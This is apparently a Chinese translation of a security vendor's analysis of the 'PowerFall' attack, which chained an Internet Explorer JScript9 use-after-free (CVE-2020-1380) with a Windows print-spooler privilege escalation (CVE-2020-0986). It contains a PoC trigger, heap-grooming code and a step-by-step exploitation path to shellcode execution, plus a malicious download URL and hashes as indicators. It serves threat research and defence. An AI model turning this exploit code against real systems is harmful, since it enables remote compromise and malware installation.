2020年5月,卡巴斯基成功防御了Internet Explorer惡意腳本對某家韓國企業(yè)的攻擊。經(jīng)過進一步分析發(fā)現(xiàn),該工具使用了以前未知的完整利用鏈,其中包括兩個0-day漏洞:Internet Explorer遠程代碼執(zhí)行漏洞、Windows特權(quán)提升漏洞。與我們以前在WizardOpium惡意活動中發(fā)現(xiàn)的攻擊鏈不同,新的攻擊鏈可以針對Windows 10的最新版本發(fā)動攻擊。經(jīng)過測試表明,該漏洞可以可靠地在Internet Explorer 11和Windows 10 x64的18363版本上利用。
2020年6月8日,我們向Microsoft報告了我們的發(fā)現(xiàn),并且Microsoft已確認漏洞。在我們撰寫報告時,Microsoft的安全團隊已經(jīng)針對CVE-2020-0986漏洞發(fā)布了補丁,修復這一特權(quán)提升0-day漏洞。但是,在我們發(fā)現(xiàn)該漏洞之前,這一漏洞的可利用性被評估為“不太可能”。CVE-2020-0986的修復程序在2020年6月9日發(fā)布。
Microsoft為JScript的Use-After-Free漏洞分配了CVE-2020-1380編號,該漏洞的補丁于2020年8月11日發(fā)布。
我們將這一系列攻擊稱為PowerFall惡意活動。目前,我們暫時不能將惡意活動與任何已知的威脅行為者建立明確聯(lián)系,但根據(jù)它與以前發(fā)現(xiàn)漏洞的相似性,我們認為DarkHotel可能是此次攻擊的幕后黑手。卡巴斯基產(chǎn)品目前將PowerFall攻擊檢測為“PDM:Exploit.Win32.Generic”。
0x01 Internet Explorer 11遠程代碼執(zhí)行漏洞
在野外發(fā)現(xiàn)的Internet Explorer最新0-day攻擊利用了舊版本java script引擎jscript.dll中的漏洞CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和CVE-2018-8653。其中,CVE-2020-1380是jscript9.dll中的一個漏洞,該漏洞自Internet Explorer 9開始存在,因此Microsoft建議的緩解步驟(限制jscript.dll的使用)無法針對這個特定漏洞實現(xiàn)防護。
CVE-2020-1380是一個釋放后使用(Use-After-Free)漏洞,由于JIT優(yōu)化過程中,JIT編譯的代碼中缺少必要的檢查導致。下面展示了觸發(fā)漏洞的PoC:
functionfunc(O, A, F, O2) { arguments.push = Array.prototype.push; O = 1; arguments.length = 0; arguments.push(O2); if (F == 1) { O = 2; } // execute abp.valueOf() and write by dangling pointer A[5] = O;};// prepare objectsvar an = newArrayBuffer(0x8c);var fa = newFloat32Array(an);// compile funcfunc(1, fa, 1, {});for (var i = 0; i < 0x10000; i++) { func(1, fa, 1, 1);}var abp = {};abp.valueOf = function() { // free worker = new Worker('worker.js'); worker.postMessage(an, [an]); worker.terminate(); worker = null; // sleepvar start = Date.now(); while (Date.now() - start < 200) {} // TODO: reclaim freed memoryreturn0};try { func(1, fa, 0, abp);} catch (e) { reload()}
要理解這一漏洞,我們首先看一下func()的執(zhí)行方式。這里,重要的是了解將什么值設置為A[5]。根據(jù)代碼,與之相關的應該是一個參數(shù)O。在函數(shù)開始時,會將參數(shù)O重新分配為1,但隨后將函數(shù)參數(shù)長度設置為0。這個操作不會清除函數(shù)參數(shù)(通常,常規(guī)數(shù)組會這樣做),但允許將參數(shù)O2放在索引為0的參數(shù)列表1中,這意味著O = O2。除此之外,如果參數(shù)F等于1,則會再次重新分配O,但這次會分配整數(shù)2。這意味著,根據(jù)參數(shù)F的值,O參數(shù)會等于O2參數(shù)的值或是整數(shù)2。參數(shù)A是32位浮點型數(shù)組,在將值分配給數(shù)組的索引5之前,會將值首先轉(zhuǎn)換為浮點數(shù)。將整數(shù)轉(zhuǎn)換為浮點數(shù)的過程比較簡單,但是如果要將對象轉(zhuǎn)換為浮點數(shù),這個過程就不再那么簡單了。該漏洞利用使用了重載方法valueOf()中的abp對象。當對象轉(zhuǎn)換為浮點型時執(zhí)行此方法,但是在其內(nèi)部,包含釋放ArrayBuffer的代碼,該代碼由Float32Array查看,并在其中設置返回值。為了防止將值存儲在已釋放對象的內(nèi)存中,java script引擎需要首先檢查對象的狀態(tài),然后再將值存儲在對象中。為了安全地轉(zhuǎn)換和存儲浮點值,JScript9.dll使用函數(shù)Js::TypedArray<float,0>::BaseTypedDirectSetItem()。下面是這個函數(shù)的反編譯代碼:
int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsignedint index, void *object, int reserved){ Js::java scriptConversion::ToNumber(object, this->type->library->context); if ( LOBYTE(this->view[0]->unusable) ) Js::java scriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0); if ( index < this->count ) { *(float *)&this->buffer[4 * index] = Js::java scriptConversion::ToNumber( object, this->type->library->context); } return1;}double Js::java scriptConversion::ToNumber(void *object, struct Js::ScriptContext *context){ if ( (unsignedchar)object & 1 ) return (double)((int)object >> 1); if ( *(void **)object == VirtualTableInfo<Js::java scriptNumber>::Address[0] ) return *((double *)object + 1); return Js::java scriptConversion::ToNumber_Full(object, context);}
該函數(shù)檢查浮點型數(shù)組的view[0]->unusable和count字段。在執(zhí)行valueOf()方法的過程中,當ArrayBuffer被釋放時,這兩項檢查都將失敗,因為此時view[0]->unusable為1,并且在第一次調(diào)用Js::java scriptConversion::ToNumber()時count為0。問題在于,Js::TypedArray<float,0>::BaseTypedDirectSetItem()函數(shù)僅在解釋模式下使用。
當函數(shù)func()被即時編譯時,java script引擎將會使用以下存在漏洞的代碼:
if ( !((unsignedchar)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable ){ if ( floatArray->count > index ) { buffer = floatArray->buffer + 4*index; if ( object & 1 ) { *(float *)buffer = (double)(object >> 1); } else { if ( *(void *)object != &Js::java scriptNumber::vftable ) { Js::java scriptConversion::ToFloat_Helper(object, (float *)buffer, context); } else { *(float *)buffer = *(double *)(object->value); } } }}
這是Js::java scriptConversion::ToFloat_Helper()函數(shù)的代碼:
void Js::java scriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context){ *buffer = Js::java scriptConversion::ToNumber_Full(object, context);}
如我們所見,與解釋模式不同,在即時編譯的代碼中,不會檢查ArrayBuffer的生命周期,并且可以釋放它的內(nèi)存,然后在調(diào)用valueOf()函數(shù)時將其回收。此外,攻擊者可以控制將返回值寫入到哪個索引中。但是,在arguments.length = 0;和arguments.push(O2);的情況下,PoC會將其替換為arguments[0] = O2;,所以Js::java scriptConversion::ToFloat_Helper()就不會觸發(fā)這個Bug,因為隱式調(diào)用將被禁用,并且不會執(zhí)行對valueOf()函數(shù)的調(diào)用。
為了確保及時編譯函數(shù)func(),漏洞利用程序會執(zhí)行該函數(shù)0x10000次,對整數(shù)進行無害的轉(zhuǎn)換,并且只有在再次執(zhí)行func()之后,才會觸發(fā)Bug。為了釋放ArrayBuffer,漏洞利用使用了一種濫用Web Workers API的通用技術(shù)。postMessage()函數(shù)可以用于將對象序列化為消息,并將其發(fā)送給worker。但是,這里的一個副作用是,已傳輸?shù)膶ο髸会尫牛⑶以诋斍澳_本上下文中變?yōu)椴豢捎。在釋放ArrayBuffer后,漏洞利用程序通過模擬Sleep()函數(shù)使用的代碼觸發(fā)垃圾回收機制。這是一個while循環(huán),用于檢查Date.now()與先前存儲的值之間的時間間隔。完成后,漏洞利用會使用整數(shù)數(shù)組回收內(nèi)存。
for (var i = 0; i < T.length; i += 1) { T[i] = newArray((0x1000 - 0x20) / 4); T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket }
在創(chuàng)建大量數(shù)組后,Internet Explorer會分配新的LargeHeapBlock對象,這些對象會被IE的自定義堆實現(xiàn)使用。LargeHeapBlock對象將存儲緩沖區(qū)地址,講這些地址分配給數(shù)組。如果成功實現(xiàn)了預期的內(nèi)存布局,則該漏洞將使用0覆蓋LargeHeapBlock偏移量0x14處的值,該值恰好是分配的塊數(shù)。
jscript9.dll x86的LargeHeapBlock結(jié)構(gòu):
此后,漏洞利用會分配大量的數(shù)組,并將它們設置為在漏洞利用初始階段準備好的另一個數(shù)組。然后,將該數(shù)組設置為null,漏洞利用程序調(diào)用CollectGarbage()函數(shù)。這將導致堆碎片整理,修改后的LargeHeapBlock及其相關的數(shù)組緩沖區(qū)將被釋放。在這個階段,漏洞利用會創(chuàng)建大量的整數(shù)數(shù)組,以回收此前釋放的數(shù)組緩沖區(qū)。新創(chuàng)建的數(shù)組的魔術(shù)值設置為索引0,該值通過指向先前釋放的數(shù)組的懸空指針以進行檢查,從而確認漏洞利用是否成功。
for (var i = 0; i < K.length; i += 1) { K[i] = newArray((0x1000 - 0x20) / 4); K[i][0] = 0x888; // store magic } for (var i = 0; i < T.length; i += 1) { if (T[i][0] == 0x888) { // find array accessible through dangling pointer R = T[i]; break; } }
最后,漏洞利用創(chuàng)建了兩個不同的java scriptNativeIntArray對象,它們的緩沖區(qū)指向相同的位置。這樣,就可以檢索對象的地址,甚至可以創(chuàng)建新的格式錯誤的對象。該漏洞利用使用這些原語來創(chuàng)建格式錯誤的DataView對象,并獲得對該進程整個地址空間的讀/寫訪問權(quán)限。
在構(gòu)建了任意的讀/寫原語之后,就可以繞過控制流防護(CFG)并執(zhí)行代碼了。該漏洞利用使用數(shù)組的vftable指針獲取jscript9.dll的模塊基址。從這里,它解析jscript9.dll的PT頭,以獲得導入目錄表的地址,并解析其他模塊的基址。這里的目標是找到函數(shù)VirtualProtect()的基址,該地址將用于執(zhí)行Shellcode的過程。之后,漏洞利用程序在jscript9.dll中搜索兩個簽名。這些簽名對應Unicode字符串split和JsUtil::DoublyLinkedListElement<ThreadContext>::LinkToBeginning<ThreadContext>()函數(shù)地址。Unicode字符串split的地址用于獲取對該字符串的代碼引用,并借助它來幫助解析函數(shù)Js::java scriptString::EntrySplit()的地址,該函數(shù)實現(xiàn)了字符串方法split()。函數(shù)LinkToBeginning<ThreadContext>()的地址用于獲取全局鏈表中第一個ThreadContext對象的地址。這個漏洞利用程序會在鏈表中找到最后一個條目,并利用它為負責執(zhí)行腳本的線程獲取堆棧位置。然后,就到了最后一個階段。漏洞利用程序執(zhí)行split()方法,并提供一個具有重載valueOf()方法的對象作為限制參數(shù)。在執(zhí)行Js::java scriptString::EntrySplit()函數(shù)的過程中,執(zhí)行重載的valueOf()方法時,漏洞利用程序?qū)⑺阉骶程的堆棧以查找返回地址,將Shellcode放置在準備好的緩沖區(qū)中,獲取其地址。最后,通過覆蓋函數(shù)的返回地址,構(gòu)建一個面向返回的編程(ROP)鏈以執(zhí)行Shellcode。
0x02 下一階段
Shellcode是附加到Shellcode上的可移植可執(zhí)行(PE)模塊的反射DLL加載器。這個模塊非常小,全部功能都位于單個函數(shù)內(nèi)。它在名為ok.exe的臨時文件夾中創(chuàng)建一個文件,將遠程執(zhí)行代碼中利用的另一個可執(zhí)行文件的內(nèi)容寫入到其中。之后,執(zhí)行ok.exe。
ok.exe可執(zhí)行文件包含針對GDI Print / Print Spooler API中的任意指針解引用特權(quán)提升漏洞(CVE-2020-0986)。該漏洞最初是一位匿名用戶通過Trend Micro的Zero Day Initiative計劃向Microsoft報告的。由于該漏洞在報告后的6個月內(nèi)未發(fā)布補丁,因此ZDI將這一0-day漏洞進行披露,披露日期為2020年5月19日。第二天,這一漏洞就已經(jīng)在先前提到的攻擊中被利用。
利用這一漏洞,可以使用進程間通信來讀取和寫入splwow64.exe進程的任意內(nèi)存,并繞過CFG和EncodePointer保護,從而實現(xiàn)splwow64.exe中的代碼執(zhí)行。該漏洞利用程序的資源中嵌入了兩個可執(zhí)行文件。第一個可執(zhí)行文件以CreateDC.exe的形式寫入磁盤,并用于創(chuàng)建設備上下文(DC),這是漏洞利用所必需的。第二個可執(zhí)行文件的名稱為PoPc.dll,如果利用成功,會由具有中等完整性級別的splwow64.dll執(zhí)行。我們將在后續(xù)文章中提供有關CVE-2020-0986及其漏洞利用的更多信息。
從splwow64.exe執(zhí)行惡意PowerShell命令:
PoPc.dll的主要功能也位于單個函數(shù)之中。它執(zhí)行一個編碼后的PowerShell命令,該命令用于從www[.]static-cdn1[.]com/update.zip下載文件,將其保存為臨時文件upgrader.exe并執(zhí)行。由于卡巴斯基已經(jīng)在下載可執(zhí)行文件前阻止了攻擊,因此我們未能拿到upgrader.exe,無法對其進行進一步分析。
0x03 威脅指標
www[.]static-cdn1[.]com/update.zip
B06F1F2D3C016D13307BC7CE47C90594
D02632CFFC18194107CC5BF76AECA7E87E9082FED64A535722AD4502A4D51199
5877EAECA1FE8A3A15D6C8C5D7FA240B
7577E42177ED7FC811DE4BC854EC226EB037F797C3B114E163940A86FD8B078B
B72731B699922608FF3844CCC8FC36B4
7765F836D2D049127A25376165B1AC43CD109D8B9D8C5396B8DA91ADC61ECCB1
E01254D7AF1D044E555032E1F78FF38F
81D07CAE45CAF27CBB9A1717B08B3AB358B647397F08A6F9C7652D00DBF2AE24